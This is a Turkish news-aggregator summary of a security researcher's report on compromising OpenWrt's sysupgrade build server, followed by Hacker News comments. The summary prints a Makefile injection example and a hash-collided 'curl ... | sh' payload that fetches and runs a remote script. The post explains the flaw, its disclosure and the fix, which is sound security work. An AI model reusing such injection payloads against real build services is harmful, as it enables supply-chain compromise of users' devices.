OpenWrt tedarik zinciri ihlali olayı

 (flatt.tech)
2 puan yazan GN⁺ 2024-12-10 | 1 yorum | WhatsApp'ta paylaş
  • OpenWrt’nin web üzerinden yükseltme özelliği Attended Sysupgrade, çevrimiçi bir derleme sunucusunda firmware üreten bir yapıya sahipti; komut enjeksiyonu ile kısaltılmış SHA-256 çakışması birleştiğinde, normal isteklere hatalı derleme çıktıları dönebiliyordu
  • İstekteki packages değeri make manifest içindeki PACKAGES= değişkenine aktarılırken, make’in değişken genişletme özelliği nedeniyle saldırgan imagebuilder container’ı içinde keyfi komut çalıştırabiliyordu
  • Paket listesi hash’i, SHA-256’nın tamamı yerine yalnızca ilk 12 karakteri, yani 48 bitlik kısmı cache anahtarına yansıtılıyordu; bu nedenle farklı paket listeleri aynı istek hash’ini oluşturabiliyordu
  • Araştırmacı, değiştirilmiş Hashcat ve RTX 4090 ile saniyede yaklaşık 18 milyar hash hızına ulaştı ve çakıştırılmış komut enjeksiyonu payload’u ile imagebuilder’ın .bin çıktısını üzerine yazma doğrulamasını başarıyla gerçekleştirdi
  • OpenWrt ekibi, özel güvenlik açığı bildiriminin ardından sysupgrade.openwrt.org’u geçici olarak durdurup 3 saat içinde düzeltilmiş sürümü dağıttı; ancak daha önce istismar edilip edilmediği doğrulanamadı

Attended Sysupgrade’ın çevrimiçi firmware derleme yapısı

  • OpenWrt’nin LuCI web arayüzünde Attended Sysupgrade bulunur; bu özellik, çevrimiçi bir hizmet kullanarak yeni firmware derler
  • Derleme hizmeti sysupgrade.openwrt.org üzerinde çalışır ve kullanıcı hedef cihaz ile istediği paketleri seçtiğinde yeni bir firmware imajı oluşturur
  • Yükseltme isteği sırasında kullanıcı tarafındaki OpenWrt sunucuya şu bilgileri gönderir
    • Hedef mimari
    • Cihaz profili
    • Seçilen paketler
  • Sunucu bu bilgilere dayanarak firmware imajını derleyip OpenWrt cihazına geri gönderir; cihaz da aldığı imajı flash belleğe yazar
  • Kullanıcının sağladığı paketlerle imaj derleyen sunucu yeterince izole edilmezse, derleme sonucunun doğrudan cihaza uygulanması nedeniyle bu yapı bir tedarik zinciri saldırı yüzeyi hâline gelir

PACKAGES değeri üzerinden komut enjeksiyonu

  • sysupgrade.openwrt.org sunucusu açık kaynaklı bir projedir ve kaynak kodu openwrt/asu deposundadır
  • Derleme ortamı podman.containers.create ile oluşturulan bir container’da çalışır ve cap_drop=["all"], no_new_privileges=True, privileged=False gibi ayarlar kullanır
  • Güvenlik açığı make manifest çağrısı bölümünde ortaya çıkar
    • PROFILE={build_request.profile}
    • PACKAGES={' '.join(build_cmd_packages)}
    • STRIP_ABI=1
  • OpenWrt imagebuilder’ın manifest hedefi, PACKAGES değerini USER_PACKAGES="$(PACKAGES)" biçiminde yeniden aktarır
  • make, komut çalıştırmadan önce değişkenleri genişlettiği için, tek tırnak içine alınsa bile kullanıcı denetimindeki değer güvenli şekilde işlenmez
    • Örnek Makefile’da make var="'; whoami #" çalıştırılırsa echo '$(var)' içinde bile whoami çalıştırılır
  • İstekteki packages parametresi PACKAGES değişkenine girdiği için saldırgan, paket adı gibi görünen bir değerin içine komut yerleştirerek imagebuilder container’ı içinde keyfi komut çalıştırabiliyordu
  • Container host’tan izole olsa bile, üretilen binary sonraki aşamada özel anahtarla imzalandığından bu komut enjeksiyonu bir tedarik zinciri güvenlik açığına dönüşür

12 karaktere kısaltılmış SHA-256 cache anahtarı

  • get_request_hash, derleme isteğindeki çeşitli alanları birleştirerek istek hash’i oluşturur ve bu hash derleme cache anahtarı olarak kullanılır
  • Paket listesi doğrudan string olarak girilmez; get_packages_hash(build_request.packages) sonucu dış istek hash’ine dahil edilir
  • get_packages_hash, yinelenen paketleri kaldırıp sıraladıktan sonra boşlukla birleştirilmiş string’in SHA-256’sını hesaplar; ancak sonucu ilk 12 karaktere kısaltarak döndürür
  • SHA-256’nın 12 karakterlik prefix’i 48 bittir ve olası alan 2^48 = 281,474,976,710,656 adettir
  • Dış istek hash’i bu kısaltılmış paket hash’ini içerdiğinden, paket hash’i çakışması oluşturulursa farklı paket listeleri de aynı cache anahtarını paylaşır
  • Bunun sonucunda sunucu, farklı paket istekleri için hatalı derleme çıktısı döndürebiliyordu

Hashcat ile çakışma payload’u bulma

  • Kısmi eşleşmeli SHA-256 brute-force aracı bulamayınca doğrudan bir OpenCL programı yazıldı; ancak 100 milyon hash hesaplamak 10 saniye sürdü ve bu hız CPU hash hızına yakındı
  • Daha sonra Hashcat değiştirilerek yalnızca 8 karakter eşleştiğinde bile hash’i yazdıracak hâle getirildi ve küçük bir script ile 12 karakterlik çakışma olup olmadığı kontrol edildi
  • Normal paket listesi firmware-selector.openwrt.org adresinden alındı ve bu listenin SHA-256 değeri 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb idi
    • İlk 12 karakter 8f7018b33d94
    • Saldırı payload’unun da aynı 12 karakterlik prefix’e sahip olması gerekiyordu
  • İlk olarak `curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh` biçimindeki maske RTX 4090 üzerinde çalıştırıldı ve yaklaşık saniyede 500 milyon hash hızına ulaşıldı
  • ?l, a-z üretir; bu nedenle 10 karakterlik alan 26^10 = 141,167,095,653,376 adettir ve bu da 2^48in yaklaşık yarısıdır
  • Maske 11 karaktere çıkarılıp maske konumu komutun ön tarafına taşınınca hız önemli ölçüde arttı
    • Nihai pattern `?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh` oldu
    • Bu pattern’de Hashcat yaklaşık saniyede 18 milyar hash hesapladı
  • 1 saat içinde aşağıdaki 12 karakterlik çakışma bulundu
    • `slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • Bu string’in SHA-256 değeri 8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8 olup ilk 12 karakteri normal paket listesiyle aynıdır

İki güvenlik açığının birleşmesiyle hatalı firmware döndürülmesi

  • Çakışan payload packages parametresi olarak gönderildiğinde komut enjeksiyonu gerçekleşir ve tmp.ryotak.net üzerinden script çalıştırılır
  • Doğrulama amaçlı script, /builder/scripts/json_overview_image_info.py dosyasına kod ekleyerek imagebuilder’ın ürettiği çıktının üzerine yazar
    • BIN_DIR içindeki dosya listesini okur
    • Adı .bin ile biten dosyayı bulup içeriğine "test" yazar
  • Hash çakışması nedeniyle sunucu, normal paket listesini isteyen kullanıcıya üzerine yazılmış derleme çıktısını döndürür
  • Bu yöntem istismar edilirse kullanıcı kötü amaçlı firmware’e yükseltme yapar ve bu da cihazın ele geçirilmesine yol açabilir

Bildirim ve düzeltme

  • Güvenlik açığı GitHub’daki özel güvenlik açığı bildirimi üzerinden OpenWrt ekibine iletildi
  • OpenWrt ekibi sorunu doğruladıktan sonra sysupgrade.openwrt.org hizmetini geçici olarak durdurdu ve inceleme başlattı
  • Düzeltilmiş sürüm 3 saat içinde dağıtıldı ve hizmet de yeniden başlatıldı
  • İki sorun da giderildi; ancak güvenlik açığı bir süre mevcut kaldığı için başkaları tarafından daha önce istismar edilip edilmediği bilinmiyordu
  • OpenWrt ekibi, kullanıcıların cihazlarının ele geçirilip geçirilmediğini kontrol edip tespit edebilmesi için duyuru yayımladı

Sonuç

  • sysupgrade.openwrt.org, komut enjeksiyonu ve kısaltılmış SHA-256 çakışması birleştirilerek ihlal edilebiliyordu
  • Bu, gerçek bir uygulamada hash çakışması saldırısının brute-force ile başarıya ulaştırılıp tedarik zinciri saldırı yolu oluşturduğu bir örnek
  • OpenWrt ekibi sorunu kısa sürede düzeltip kullanıcıları bilgilendirdi; ancak çevrimiçi derleme hizmetlerinin cache anahtarları ve girdi doğrulama konusunda çok muhafazakâr davranması gerekiyor

İlgili okumalar

1 yorum

 
GN⁺ 2024-12-10
Hacker News yorumları

  • Yazıda atlanan güvenlik açığı, belirli kullanıcılara ya da belirli cihazlara yönelik kod çalıştırmanın normalleştirilmesi
    Yeniden üretilebilirlik doğrulaması da yok ve bu özel derleme/indirme hizmetinin arka kapı yerleştirilmiş derlemeler üretmediğini kimsenin doğrulama yolu yok
    Andres Freund’un kullandığı türden xz-utils derlemelerinin ya da daha sonra güvenlik araştırmacılarının indirip açık kaynak yazılımda tedarik zinciri implantı olup olmadığını kontrol edebileceği derlemelerin kullanıldığının garanti edilmesi gerekir[1]
    Mozilla’nın release derlemelerini bir Merkle ağacında herkese açık olarak kaydetmeye yönelik ama sonradan durdurulan girişimini anlatan bir yazı vardı[2]. Google, Pixel firmware derleme uygulamasını belgelemişti, ancak Google Play Store üzerinden dağıtılan uygulamalar savunmasız görünüyor (benim bulamadığım başka bir log yoksa)[3]. Apple ise firmware ve uygulama dağıtımında cihaz başına özel derlemeleri hedeflerken derleme şeffaflığı sunmadığından, binary transparency açısından Google’dan da kötü görünüyor
    İyi bir örnek olarak Gentoo’nun ebuild deposu var. Kaynak sağlama toplamlarını tek bir Git deposu/Merkle ağacında tutuyor; bu da onun açık kaynak yazılımdaki en büyük ve en geniş dağıtılmış Merkle ağaçlarından biri olarak kalmasını sağlayabilir
    [1] xz-utils arka kapısından sonra bazı araştırmacılar, açık kaynak yazılım derlemelerinde gizli kötü amaçlı kod taşıyabilecek açıklanamaz yüksek entropili dosyaları bulmak için otomatik/yarı otomatik taramalar yaptı. Kullanıcıya ve cihaza özel derlemelerde, sonraki analiz için tüm derlemeler kamuya açılmadıkça ve bu açık derlemeler için herkese açık bir log (Merkle ağacı) sağlanmadıkça bu mümkün değildir
    [2] https://wiki.mozilla.org/Security/Binary_Transparency
    [3] https://developers.google.com/android/binary_transparency/ov...

    • İyi bir fikir ve ben de destekliyorum, ama yeniden üretilebilirliğin deterministikliğe dayandığını unutmamak gerekir
      Derleme pipeline’ına giren birçok unsur özünde deterministik değildir, çünkü derleme sırasındaki kararlar her çalıştırmada değişebilir. Bayrak sorunlarını bir kenara bıraksak bile bu böyle; hatta optimize edici derleyicilerin amacı da fiilen buna yakındır. Birçok reproducible build projesinin gördüğü gibi optimizasyon açıldığında yeniden üretilebilirlik pratikte garanti edilemez
    • Google Play için: https://developer.android.com/guide/app-bundle/code-transpar...
      Bildiğim kadarıyla merkezi bir log yok; uygulama geliştiricisinin kendi anahtarını ya da şeffaflık dosyası logunu kendisinin yayımlamasına bırakılmış
    • Böyle bir build service kullanmak, baştan “ben hedefli saldırıya uğrayacak kadar değerli bir hedef değilim” demek gibi
    • Otomatik/yarı otomatik taramalarla gizli kötü amaçlı kod taşıyabilecek açıklanamaz yüksek entropili dosyaları aramak kolayca aşılabilir. Entropiyi basitçe dağıtmak yeterli
    • Google’ın certificate transparency ekibinin Android’in ötesinde, tüm Linux için fiilen bir firmware transparency de tasarladığını hatırlıyorum

  • "".join da riskli değil mi?
    get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ... şeklindeyse, bitişik alanlar arasında karakterleri kaydırmak hash’i değiştirmeden mümkün olabilir
    Sistemi doğrudan ele geçirmese bile, bozuk image ile cache poisoning yaratabilir ya da downgrade’a yol açabilir

    • Evet. Anlatılan nedenle, birden fazla girdiyi hash’lerken HMAC kullanmak gerekir
      Düzeltme: HMAC değil, incremental hashing demek daha doğru

  • Demek ki açık kaynak, kurumsal kapalı kaynakla asla rekabet edemez:
    çünkü yamayı 6 ay bekletmek yerine 3 saatte düzelttiler, sorunu bildiren kişiyi dava etmeye kalkmadılar ve “eski” ama gayet çalışan cihazınızı atıp yeni ürün almanız için size ufak bir indirim önermediler

    • Burada bunun alaycı bir ifade olduğunun daha açık belirtilmesi iyi olurdu. İngilizce ana dilim değil; ilk başta “they” zamirini “kurumsal kapalı kaynak” için okudum ve OpenWRT’nin listelenen her şeyi yapan tehlikeli bir tercih olduğu sonucunu çıkardım
    • OpenWrt’yi sevmemin nedeni tam da bu. Benim gibi ekran okuyucu kullanan biri için web arayüzünün düzgün çalışıp çalışmadığını test etmemi bile istiyorlar
    • Doğru, ama OpenWRT hash kısaltmayı düzeltmiş olsa da komut enjeksiyonunu henüz düzeltmemiş gibi görünüyor
      Umarım komut enjeksiyonunu da düzeltmeyi planlıyorlardır. Yazıda dendiği gibi üretilen image’lar imzalanıyor. İmza olmasa bile, güvenilmeyen kullanıcı girdisiyle kod çalıştırılabilmesi başlı başına bir sorun. Ayrıca güvenlik açıkları, bu hash çakışması örneğinde olduğu gibi birbirine zincirlenebilir
    • ISS yüzünden kullanmak zorunda olduğum bir router var; orta kötüden gerçekten çok ciddi seviyeye kadar birkaç CVE’si oldu ve çoğu yıllardır duruyor
      Değiştirebiliyorum ama gelen yine aynı model. ISS güvenliği hiç umursamıyor ve yama da geçmiyor. Router üzerinde tekel erişimleri ve uzaktan oturum açma imkanları olmasına rağmen böyle olması tamamen saçma
    • Bu, ancak kurumsal destek ve hızlı düzeltme için kaynağı olan az sayıdaki açık kaynak projede mümkün
      Açık kaynak projelerin çoğunda bakımcı ya aşırı yük altında ya da güvenlik sorunlarını düzeltmek istemiyor

  • Öncelikle bu, aslında o amaç için yapılmamış ama açık kaynak olan ve BuilderFactoryProvider olmadan yazıldığı için kısa sürede göreve uyarlanabilen bir aracın örneği
    Tekrar edilmiş olabilir, kusura bakmayın ama her gün bu durum beni gerçekten çok yoruyor
    Büyük bir şirket olsaydı düzeltmesi muhtemelen -1 yıl sürerdi. Muhtemelen o kişiyi dava etmeye ve olabildiğince çabuk tutuklatmaya çalışırlar, ama asla yama yayımlamazlardı
    OpenWrt ise bilgiyi aldıktan sonra güvensiz hizmeti kapattı, kullanıcılar zaten kapanma sayesinde güvendeyken bildirimi doğruladı, ardından yamayı hazırlayıp 3 saat içinde dağıttı. Müthiş

  • İnsanların hash’i kırparak kullanma fikrine nasıl vardığını merak ediyorum. Amaç ya da kazanç ne olabilir?

    • Kırpılmış hash fonksiyonları length extension attack’a karşı savunmasız değildir. Ancak genelde SHA-512 kullanılıp 256 bit’e kırpılır. Günümüz ölçütleriyle bundan daha kısası güvenli sayılmakta zorlanır
    • Bazen mevcut araçlarda ya da veritabanlarında zaten var olan uzunluk sınırlarına uydurmak için yapılır. Ya da hash, bütünlük doğrulaması için değil sadece bir konum tanımlayıcısı olarak kullanılınca da böyle olabilir
      İyi bir uygulama olduğunu düşünmüyorum ama insanlar pratikte taviz veriyor
    • Commit’e göre bunu indirme dosya adını ve URL uzunluğunu azaltmak için yapmışlar
    • Daha küçük bir payload gerektiğinde de kullanılabiliyor
      [2] numaralı yanıttaki @Reid ve [3] numaralı yanıttaki @ThomasPornin’e göre, hash’i kırpma fikri NIST tarafından da tamamen destekleniyor. Nitekim SHA-224, SHA-256’nın kırpılmış hâli; SHA-384 ise SHA-512’nin kırpılmış hâli
      https://security.stackexchange.com/a/97389
    • SHA-1’den SHA-256’ya yükseltme yaparken, bütünlük kontrolü veya anahtar saklama için kullanılan veri biçimini değiştirmek istemediklerinde de böyle yapılıyor

  • Yazı güzeldi. Bu kadar kısa bir çakışmayı bulmak için o kadar GPU hesaplama gücü gerekmiş olması biraz şaşırtıcıydı ama uygulamayı görmek güzeldi
    Son bölümle ilgili olarak, ayda 40 bin dolar güvenlik analizi için makul bir fiyat mı? Öyleyse iyi bir güvenlik araştırmacısı yılda yaklaşık 500 bin dolar mı kazanıyor?

    • Bunun anlamı, iyi bir güvenlik araştırma şirketinin tek bir üstün araştırmacı üzerinden 500 bin dolar ciro yapabilmesi olabilir. Tabii o kişiyi %100 meşgul edecek kadar iş getirebilmek gerekir. Ücretli izinler de hesaba katılınca gerçekte daha da az olur
    • Bana göre oldukça makul görünüyor. Eskiden birlikte çalıştığım sızma testi şirketleri bu civarda ücret alıp tembel nmap/metasploit taramaları çalıştırır, sonra da bunu şık görünen bir PDF’yle sunardı
    • LLM sonrası çağda, bir 4090’ın bir saatlik hesaplaması “o kadar fazla” olmaktan çok “hatta az” sayılır. 1 doların altında bile mümkün
    • 2^(12*4), olası 12 karakterlik dizgelerin 281,474,976,710,656 adet olduğu anlamına geliyor; bunu bir saat içinde tarayabilmek gerçekten etkileyici

  • hashcat performansının argüman sırasına göre birkaç basamak birden değişmesi ne demek? Çalışırken her seferinde argüman satırındaki hedef deseni mi tarıyor?

    • Kilit açmaya benzer şekilde soldan başlayıp daha ileri gidilip gidilemeyeceğine bakıyor ya da o tahmini bırakıyor olabilir. O zaman “seçenekleri” başa koyarsanız her seferinde yeniden üretmek gerekmez. Her ne sebeple olursa olsun önekleri önbelleğe almıyor ya da alamıyor da olabilir
      Ya da sayıları sayarken olduğu gibi
      100000000000
      010000000000
      110000000000
      001000000000
      değişimlerin çoğu solda oluyor, sağ taraftaki değişiklikler ise daha seyrek görülüyor olabilir. hashcat bilen biri yanıt verirse ilginç olurdu. Ben sadece tahmin yürütüyorum

  • Saldırı süreci çok iyi yazılmış ve takip etmesi kolaydı